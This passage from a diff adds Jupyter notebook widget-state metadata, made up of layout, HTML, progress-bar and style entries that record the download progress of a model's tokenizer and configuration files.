+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "3bee2b1a38cc4f68a614ac2460b45f37": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "3dedecb37fdb44ceb07c6d1712c4e021": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_5c0d9f5a3aa0473b9058fc33f28a9971",
+            "placeholder": "",
+            "style": "IPY_MODEL_bedf96c9d0c94e7f9f723e4cec98ae8a",
+            "value": " 503/503 [00:00<00:00, 9.40kB/s]"
+          }
+        },
+        "400bbbc0ce6e42ad9f0916a428aeff83": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "4289a56219ec41acaafdb60d3b7d1360": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "430fa54d746a4743bc162b8e835a093c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "484c18d0f13148efa47e68dca92cfb48": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_b2298da115e446eb8b129cf635bad729",
+            "max": 649618,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_3b8edfee45ef459c8ae1fc8c9ac7cbc9",
+            "value": 649618
+          }
+        },
+        "492d702c82564ce5ae62e4989905f176": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_17af87063b1e4888b8dd22dd325e039f",
+            "placeholder": "",
+            "style": "IPY_MODEL_fbe842d741e84880ac53241d2d39a566",
+            "value": "Downloading (…)cial_tokens_map.json: 100%"
+          }
+        },
+        "494a7d5322c84f08b713936633c10d8a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "4b79f47e2713436c91422a7e8db2729d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "4bca98717ed84770a06524e832f3dc70": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "4bd11779af5243f38a87aee67edeef37": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_3b40e3e3b6a94c3a8f5c94d328c7ff8e",
+            "placeholder": "",
+            "style": "IPY_MODEL_4c9915c0e224462c8381803ca2e404d3",
+            "value": "Downloading (…)okenizer_config.json: 100%"
+          }
+        },
+        "4c1a2f85fe2744fbbada089a46ac7f20": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "4c9915c0e224462c8381803ca2e404d3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "4dd5e64fe44c495d8d8d912f0ac06b82": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "4e9c85779ed3400a8d8b3f14f08770b6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_f83d235f098a428d9f6519bba64a385f",
+            "max": 231508,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_945160da858a439d90de50ffd671396a",
+            "value": 231508
+          }
+        },
+        "4f0a42dd0f954a2a9abd2d98dcb3de67": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_4bca98717ed84770a06524e832f3dc70",
+            "max": 141,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_2cb163ea221745cfb446ec9ddcbe622b",
+            "value": 141
+          }
+        },
+        "4f70b3f18d12429cb3f6a8921a168c00": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_f74bcd4d2ab04c6cb3220c2fc64257b1",
+              "IPY_MODEL_76a37f30e9004067b8ba520191d64ac0",
+              "IPY_MODEL_f9d5339a3d464d18846f943017f90257"
+            ],
+            "layout": "IPY_MODEL_5bd2087051324e1db5ca06eb9c098d19"
+          }
+        },
+        "4f78f4c67c524e1dbf18615cd98fc1e4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_3064bb59f3144fc6a373b1528290b57a",
+            "placeholder": "",
+            "style": "IPY_MODEL_4b79f47e2713436c91422a7e8db2729d",
+            "value": "Downloading (…)lve/main/config.json: 100%"
+          }
+        },
+        "51838f3af71a4535afed388649e691fe": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_acf34873eae8493fbf953b1a8a65e177",
+              "IPY_MODEL_872540ef74d6459a99e4647d2a643176",
+              "IPY_MODEL_bed467f249ca47ea8b3ea57cc365dd22"
+            ],
+            "layout": "IPY_MODEL_a5a8f2b461064eecad9cefa57eb89423"
+          }
+        },
+        "522a01b9856f477b89ce65ee75edea28": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "54dc179584c241dea17f59f2b9e93f47": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "592bbbcf2fd14ed882f9a0adb56a57a3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_96332b8765b3472c9f6a43626e8a5bb3",
+            "placeholder": "",
+            "style": "IPY_MODEL_13935b9459d34cb28418ceffe17f8d85",
+            "value": " 711k/711k [00:00<00:00, 11.8MB/s]"
+          }
+        },
+        "5a2729d7ebe54449aaedcb658795e19f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_05a15576ce6b4595a228045a2c43a598",
+            "placeholder": "",
+            "style": "IPY_MODEL_23ac198dda5d4390b1e0998e2553d04c",
+            "value": " 125/125 [00:00<00:00, 3.22kB/s]"
+          }
+        },
+        "5a9aba83d9734e01902c5b9bcb534ac4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "5af7e60d5fe142f6a2fb59b92c19715b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_10bcc231a8ba4b809be9c7c6b95b5b53",
+            "placeholder": "",
+            "style": "IPY_MODEL_a5506cc4b437400cbfff631c20110891",
+            "value": " 1.54G/1.54G [00:16<00:00, 94.9MB/s]"
+          }
+        },
+        "5bd2087051324e1db5ca06eb9c098d19": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "5c0d9f5a3aa0473b9058fc33f28a9971": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "5f53f8958f6744329c885898656f0c93": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_4f78f4c67c524e1dbf18615cd98fc1e4",
+              "IPY_MODEL_2e904bced0c945498efee80e62acbe22",
+              "IPY_MODEL_5f98a87208c048a199395d58e986799f"
+            ],
+            "layout": "IPY_MODEL_522a01b9856f477b89ce65ee75edea28"
+          }
+        },
+        "5f98a87208c048a199395d58e986799f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_d2ac867676604aa8a10267219e3c6362",
+            "placeholder": "",
+            "style": "IPY_MODEL_3af451b24c8a47c99941a0d3676db363",
+            "value": " 2.82k/2.82k [00:00<00:00, 105kB/s]"
+          }
+        },
+        "602461cd7b5c471394ee2920b067a8f6": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "60e84d9d72e94db9840aa03c7f15e3c3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_20ec2d7af5444323acf5344e4f45a75e",
+            "placeholder": "",
+            "style": "IPY_MODEL_e5264a161eff4d6484cbefc7ac38c20d",
+            "value": " 650k/650k [00:00<00:00, 10.8MB/s]"
+          }
+        },
+        "628ac6a81d1646418cd58b7fccb814a9": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "63994cb769ce402194b4a70ea1079a3d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "64f4db4f35324cab9abab95c86307a89": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
